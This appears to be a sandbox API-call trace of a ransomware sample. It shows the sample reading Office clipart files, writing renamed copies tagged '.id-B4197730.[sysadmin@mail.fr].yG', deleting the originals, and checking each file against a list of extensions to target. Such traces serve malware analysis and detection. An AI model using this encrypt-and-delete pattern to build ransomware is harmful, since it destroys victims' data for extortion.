	[0183.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0183.354] GetLastError () returned 0x0
	[0183.354] ReadFile (in: hFile=0x364, lpBuffer=0x39fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x39fa020*, lpNumberOfBytesRead=0x2edfecc*=0x6e8, lpOverlapped=0x0) returned 1
	[0183.355] WriteFile (in: hFile=0x370, lpBuffer=0x39fa020*, nNumberOfBytesToWrite=0x6f0, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x39fa020*, lpNumberOfBytesWritten=0x2edfc94*=0x6f0, lpOverlapped=0x0) returned 1
	[0183.357] ReadFile (in: hFile=0x364, lpBuffer=0x39fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x39fa020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.357] WriteFile (in: hFile=0x370, lpBuffer=0x39fa020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x39fa020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1
	[0183.357] SetEndOfFile (hFile=0x370) returned 1
	[0183.358] CloseHandle (hObject=0x370) returned 1
	[0183.358] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.358] SetEndOfFile (hFile=0x364) returned 1
	[0183.359] CloseHandle (hObject=0x364) returned 1
	[0183.359] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0183.360] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf")) returned 1
	[0183.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68
	[0183.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68
	[0183.361] lstrlenW (lpString=".doc") returned 4
	[0183.362] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.362] lstrlenW (lpString=".docx") returned 5
	[0183.362] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0183.362] lstrlenW (lpString=".pdf") returned 4
	[0183.362] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.362] lstrlenW (lpString=".xls") returned 4
	[0183.362] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.362] lstrlenW (lpString=".xlsx") returned 5
	[0183.362] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0183.363] lstrlenW (lpString=".ppt") returned 4
	[0183.363] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68
	[0183.363] lstrlenW (lpString=".zip") returned 4
	[0183.363] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.363] lstrlenW (lpString=".rar") returned 4
	[0183.363] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.363] lstrlenW (lpString=".bz2") returned 4
	[0183.363] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.363] lstrlenW (lpString=".7z") returned 3
	[0183.363] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68
	[0183.363] lstrlenW (lpString=".dbf") returned 4
	[0183.363] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68
	[0183.363] lstrlenW (lpString=".1cd") returned 4
	[0183.364] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68
	[0183.364] lstrlenW (lpString=".jpg") returned 4
	[0183.364] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68
	[0183.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68
	[0183.364] lstrlenW (lpString=".doc") returned 4
	[0183.364] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.364] lstrlenW (lpString=".docx") returned 5
	[0183.364] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0183.364] lstrlenW (lpString=".pdf") returned 4
	[0183.364] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.364] lstrlenW (lpString=".xls") returned 4
	[0183.364] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.365] lstrlenW (lpString=".xlsx") returned 5
	[0183.365] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0183.365] lstrlenW (lpString=".ppt") returned 4
	[0183.365] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68
	[0183.365] lstrlenW (lpString=".zip") returned 4
	[0183.365] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.365] lstrlenW (lpString=".rar") returned 4
	[0183.365] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.365] lstrlenW (lpString=".bz2") returned 4
	[0183.365] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.365] lstrlenW (lpString=".7z") returned 3
	[0183.365] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68
	[0183.365] lstrlenW (lpString=".dbf") returned 4
	[0183.365] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68
	[0183.366] lstrlenW (lpString=".1cd") returned 4
	[0183.366] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68
	[0183.366] lstrlenW (lpString=".jpg") returned 4
	[0183.366] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.366] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0183.366] lstrlenW (lpString="DD01434_.WMF") returned 12
	[0183.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0183.367] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=900) returned 1
	[0183.367] CloseHandle (hObject=0x364) returned 1
	[0183.367] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf")) returned 0x220
	[0183.367] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0183.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0183.368] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.368] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0183.369] GetLastError () returned 0x0
	[0183.369] ReadFile (in: hFile=0x364, lpBuffer=0x39fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x39fa020*, lpNumberOfBytesRead=0x2edfecc*=0x384, lpOverlapped=0x0) returned 1
	[0183.370] WriteFile (in: hFile=0x370, lpBuffer=0x39fa020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x39fa020*, lpNumberOfBytesWritten=0x2edfc94*=0x390, lpOverlapped=0x0) returned 1
	[0183.373] ReadFile (in: hFile=0x364, lpBuffer=0x39fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x39fa020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.373] WriteFile (in: hFile=0x370, lpBuffer=0x39fa020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x39fa020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1
	[0183.373] SetEndOfFile (hFile=0x370) returned 1
	[0183.374] CloseHandle (hObject=0x370) returned 1
	[0183.374] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.374] SetEndOfFile (hFile=0x364) returned 1
	[0183.376] CloseHandle (hObject=0x364) returned 1
	[0183.376] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0183.376] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf")) returned 1
	[0183.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68
	[0183.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68
	[0183.377] lstrlenW (lpString=".doc") returned 4
	[0183.377] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.706] lstrlenW (lpString=".docx") returned 5
	[0183.706] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0183.706] lstrlenW (lpString=".pdf") returned 4
	[0183.706] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.706] lstrlenW (lpString=".xls") returned 4
	[0183.706] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.706] lstrlenW (lpString=".xlsx") returned 5
	[0183.706] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0183.706] lstrlenW (lpString=".ppt") returned 4
	[0183.706] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68
	[0183.706] lstrlenW (lpString=".zip") returned 4
	[0183.706] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.706] lstrlenW (lpString=".rar") returned 4
	[0183.706] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.706] lstrlenW (lpString=".bz2") returned 4
	[0183.706] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.707] lstrlenW (lpString=".7z") returned 3
	[0183.707] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68
	[0183.707] lstrlenW (lpString=".dbf") returned 4
	[0183.707] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68
	[0183.707] lstrlenW (lpString=".1cd") returned 4
	[0183.707] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68
	[0183.707] lstrlenW (lpString=".jpg") returned 4
	[0183.707] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68
	[0183.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68
	[0183.707] lstrlenW (lpString=".doc") returned 4
	[0183.707] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.707] lstrlenW (lpString=".docx") returned 5
	[0183.707] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0183.707] lstrlenW (lpString=".pdf") returned 4
	[0183.707] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.707] lstrlenW (lpString=".xls") returned 4
	[0183.707] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.707] lstrlenW (lpString=".xlsx") returned 5
	[0183.707] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0183.707] lstrlenW (lpString=".ppt") returned 4
	[0183.707] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68
	[0183.707] lstrlenW (lpString=".zip") returned 4
	[0183.707] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.708] lstrlenW (lpString=".rar") returned 4
	[0183.708] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.708] lstrlenW (lpString=".bz2") returned 4
	[0183.708] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.708] lstrlenW (lpString=".7z") returned 3
	[0183.708] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68
	[0183.708] lstrlenW (lpString=".dbf") returned 4
	[0183.708] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68
	[0183.708] lstrlenW (lpString=".1cd") returned 4
	[0183.708] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68
	[0183.708] lstrlenW (lpString=".jpg") returned 4
	[0183.708] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.708] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0183.708] lstrlenW (lpString="ED00172_.WMF") returned 12
	[0183.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0183.709] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=2700) returned 1
	[0183.709] CloseHandle (hObject=0x30c) returned 1
	[0183.709] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf")) returned 0x220
	[0183.709] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0183.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0183.710] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.710] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0183.710] GetLastError () returned 0x0
	[0183.710] ReadFile (in: hFile=0x30c, lpBuffer=0x39fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x39fa020*, lpNumberOfBytesRead=0x2edfecc*=0xa8c, lpOverlapped=0x0) returned 1
	[0183.712] WriteFile (in: hFile=0x35c, lpBuffer=0x39fa020*, nNumberOfBytesToWrite=0xa90, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x39fa020*, lpNumberOfBytesWritten=0x2edfc94*=0xa90, lpOverlapped=0x0) returned 1
	[0183.717] ReadFile (in: hFile=0x30c, lpBuffer=0x39fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x39fa020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.717] WriteFile (in: hFile=0x35c, lpBuffer=0x39fa020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x39fa020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1
	[0183.717] SetEndOfFile (hFile=0x35c) returned 1
	[0183.717] CloseHandle (hObject=0x35c) returned 1
	[0183.717] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.717] SetEndOfFile (hFile=0x30c) returned 1
	[0183.718] CloseHandle (hObject=0x30c) returned 1
	[0183.718] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0183.722] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf")) returned 1
	[0183.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68
	[0183.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68
	[0183.723] lstrlenW (lpString=".doc") returned 4
	[0183.723] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.723] lstrlenW (lpString=".docx") returned 5
	[0183.723] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0183.723] lstrlenW (lpString=".pdf") returned 4
	[0183.723] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.723] lstrlenW (lpString=".xls") returned 4
	[0183.723] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.723] lstrlenW (lpString=".xlsx") returned 5
	[0183.723] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0183.723] lstrlenW (lpString=".ppt") returned 4
	[0183.723] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68
	[0183.723] lstrlenW (lpString=".zip") returned 4
	[0183.724] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.724] lstrlenW (lpString=".rar") returned 4
	[0183.724] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.724] lstrlenW (lpString=".bz2") returned 4
	[0183.724] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.724] lstrlenW (lpString=".7z") returned 3
	[0183.724] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68
	[0183.724] lstrlenW (lpString=".dbf") returned 4
	[0183.724] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68
	[0183.724] lstrlenW (lpString=".1cd") returned 4
	[0183.724] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68
	[0183.724] lstrlenW (lpString=".jpg") returned 4
	[0183.724] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68
	[0183.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68
	[0183.724] lstrlenW (lpString=".doc") returned 4
	[0183.724] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.724] lstrlenW (lpString=".docx") returned 5
	[0183.724] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0183.724] lstrlenW (lpString=".pdf") returned 4
	[0183.724] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.724] lstrlenW (lpString=".xls") returned 4
	[0183.724] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.724] lstrlenW (lpString=".xlsx") returned 5
	[0183.725] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0183.725] lstrlenW (lpString=".ppt") returned 4
	[0183.725] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68
	[0183.725] lstrlenW (lpString=".zip") returned 4
	[0183.725] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.725] lstrlenW (lpString=".rar") returned 4
	[0183.725] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.725] lstrlenW (lpString=".bz2") returned 4
	[0183.725] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.725] lstrlenW (lpString=".7z") returned 3
	[0183.725] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68
	[0183.725] lstrlenW (lpString=".dbf") returned 4
	[0183.725] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68
	[0183.725] lstrlenW (lpString=".1cd") returned 4
	[0183.725] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68
	[0183.725] lstrlenW (lpString=".jpg") returned 4
	[0183.725] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.725] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0183.725] lstrlenW (lpString="ED00184_.WMF") returned 12
	[0183.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0183.726] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=6958) returned 1
	[0183.726] CloseHandle (hObject=0x30c) returned 1
	[0183.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf")) returned 0x220
	[0183.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0183.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0183.727] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1
